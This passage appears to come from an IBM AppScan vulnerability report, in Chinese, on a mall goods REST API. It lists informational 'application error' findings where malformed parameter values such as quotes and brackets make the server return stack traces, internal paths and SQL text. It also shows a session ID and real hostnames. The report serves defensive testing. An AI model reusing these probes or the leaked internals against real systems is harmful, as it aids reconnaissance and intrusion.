Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "\
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@4623c50d; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|6/9

测试请求和响应:

差异: 参数 从以下位置进行控制: 105172 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

```
(
```

```
HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value ';': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@6fef2bf1; line: 1, column: 17] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|7/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 33
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
        "goodsInfos": [
                 "goodsid": "\""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@4287c87a; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"] -
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|8/9

差异: 参数 从以下位置进行控制: 105172 至: ("

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 35
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsInfos": [
                 "goodsid": "\\
        1
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@46c47207; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

变体-|9/9

差异: 参数 从以下位置进行控制: 105172 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value ')': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@5349e9ee; line: 1, column: 17] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsDTO["goodsInfos"]-
>com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsid"])
```

问题 24 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/batchImportGood
实体:	file (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/3

差异: 参数 已从请求除去: IBM AppScan binary content place holder

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/batchImportGood HTTP/1.1
Content-Length: 0
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjaKGfPsCNcCix28n
Accept-Language: en-US, en; q=0.8
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
Connection: keep-alive
```

```
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|2/3

差异: 参数 从以下位置进行控制: file 至: __ORIG_VAL__.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/batchImportGood HTTP/1.1
Content-Length: 257
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjaKGfPsCNcCix28n
Accept-Language: en-US, en; q=0.8
-----WebKitFormBoundaryjaKGfPsCNcCix28n
Content-Disposition: form-data; name="file."; filename="资产信息导入模板.xlsx"
Content-Type: application/octet-stream
IBM AppScan binary content place holder
-----WebKitFormBoundaryjaKGfPsCNcCix28n--
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "
               文件解析异常,请检查文件格式和文件内容! java.lang. NullPointerException",
 "html": null
```

变体-|3/3

差异: 参数 从以下位置进行控制: file 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/batchImportGood HTTP/1.1
Content-Length: 258
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
\texttt{Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjaKGfPsCNcCix28n} \\
Accept-Language: en-US, en; q=0.8
-----WebKitFormBoundaryjaKGfPsCNcCix28n
Content-Disposition: form-data; name="file[]"; filename="资产信息导入模板.xlsx"
Content-Type: application/octet-stream
IBM AppScan binary content place holder
-----WebKitFormBoundaryjaKGfPsCNcCix28n--
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
 "msg": "
               文件解析异常,请检查文件格式和文件内容! java.lang. NullPointerException",
 "html": null
```

问题 **25 / 43** Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassList
实体:	North Mary (December 1)
大件:	pageNum (Parameter)
风险:	可能会收集敏感的调试信息

变体-|1/6

差异: 参数 从以下位置进行控制: pageNum 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7&start=0&length=15&search%5Bregex%5D=false&pageNum.=1&classcode=03&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
  "data": [
   "returnCode": 0,
                                                      错误代码:LUO003C\r\n错误信息:查询商品分类失败
   "msa": "e:
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n### The
error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
while setting parameters\n### SQL: select
                                                                                                                                                      enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seg,
                                                                                                                                                                   (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub goodsclass a where 1=1
                                                                                                                             and enterpriseid=?
                                                                                                                                                                                                                       and classcode like
                                                                                                                                                                     limit ? offset ?\n### Cause:
CONCAT('',?,'%')
                                                                             order by classid desc
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n; SQL []; ERROR: OFFSET
must not be negative; nested exception is org.postgresql.util.PSQLException: ERROR: OFFSET must
not be negative\n\tat
\verb|org.springframework.jdbc.support.| \textcolor{red}{SQLStateSQLException} \\ \texttt{Translator.doTranslate} (\textcolor{red}{SQLStateSQLException} \\ \texttt{Translator.doTranslate}) \\ \texttt{Translator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslat
ranslator.java:102) \n\tat
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.
kSQLExceptionTranslator.java:73) \n\tat
\verb|org.springframework.jdbc.support.AbstractFallback & \verb|SQLException| | Translator.translate (AbstractFallback) | AbstractFallback & \verb|square | AbstractFallback & Square | AbstractFallback & AbstractFallback
kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74)\n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \\| \land \texttt{tat} = \texttt{tata} = 
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source) \n\tat
com.suneee.scn.goods.service.PubGoodsclassService.findGoodsclassForPage(PubGoodsclassService.java
:63)\n\tat
com.suneee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage(PubGoodsclassConsu
mer.java:64)\n\tat com.suneee.scn.goods.consumer.impl.Pub
ead0(RequestHandler.java:52)\n\tat
io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105) \n\
io.nettv.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
va · 363) \n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.jaya:354)\n\ta
io.nettv.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:163)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
) \n tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n tat
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n\tat
```

```
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618) \n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:468) \n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461) \n\tat
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493)
\n\tat
org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:56) \n\tat
org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:70) \n\tat org.apache.ibatis.executor.Si
...
...
...
...
```

变体-|2/6

差异: 参数 已从请求除去: 1

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7&start=0&length=15&search%5Bregex%5D=false&classcode=03&searchValue= HTTP/1 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
  "data": [
   "returnCode": 0,
                                          错误代码:LUO003C\r\n错误信息:查询商品分类失败
   "msg": "e:
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n### The
error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
                                                                                                                 enterpriseid, classid, classcode, classname,
while setting parameters\n### SQL: select
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                   (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub_goodsclass a where 1=1
                                                                                                        and enterpriseid=?
                                                                                                                                                                              and classcode like
CONCAT('',?,'%') order by classid desc limit ? offset ?\n### Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n; SQL []; ERROR: OFFSET
must not be negative; nested exception is org.postgresql.util.PSQLException: ERROR: OFFSET must
not be negative\n\tat
\verb|org.springframework.jdbc.support.| \verb|SQLStateSQLException| | Translator.doTranslate(| \verb|SQLStateSQLException| | Translator.doTranslate(| SQLStateSQLException| | Translator.doTranslator.doTranslator) | Translator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslator.doTranslat
ranslator.java:102)\n\tat
org.springframework.jdbc.support.AbstractFallback<mark>SQLException</mark>Translator.translate(AbstractFallbac
kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSOLExceptionTranslator.java:81) \n\tat
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source) \n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \\ \verb| h| tat | figure | figure
```

```
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43)\n\tat
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source) \n\tat
com.suneee.scn.goods.service.PubGoodsclassService.findGoodsclassForPage(PubGoodsclassService.java
:63)\n\tat
\verb|com.suneee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsclassConsumer.impl.PubGoodsc
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
ead0(RequestHandler.java:52)\n\tat
io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\
io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
va:363)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext| \verb| 37.run (AbstractChannelHandlerContext.java: 354) \verb| h| tall a stractChannelHandlerContext| a stractC
io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:163)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461) \n\tat
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
)\n\tat
org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java
:56)\n\tat
0) \n\tat org.apache.ibatis.executor.Si
. . .
```

变体-|3/6

差异: 参数 从以下位置进行控制: pageNum 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7&start=0&length=15&search%5Bregex%5D=false&pageNum%5B%5D=1&classcode=03&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

...
"data": [
```

```
"returnCode": 0,
                                                 错误代码:LUO003C\r\n错误信息:查询商品分类失败
 \r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n### The
error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
{\tt SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml] \ \ n\#\#\# \ \ \ the \ \ error \ \ may \ \ involve}
 com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
 while setting parameters\n### SQL: select
                                                                                                                                           enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                               (select classname from pub_goodsclass b
 where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub goodsclass a where 1=1
                                                                                                             and enterpriseid=?
                                                                                                                                                                                              and classcode like
CONCAT('',?,'%') order by classid desc limit ? offset ?\n### Cause: org.postgresql.util.PSQLException: ERROR: OFFSET must not be negative\n; SQL []; ERROR: OFFSET
must not be negative; nested exception is org.postgresql.util.PSQLException: ERROR: OFFSET must
not be negative\n\
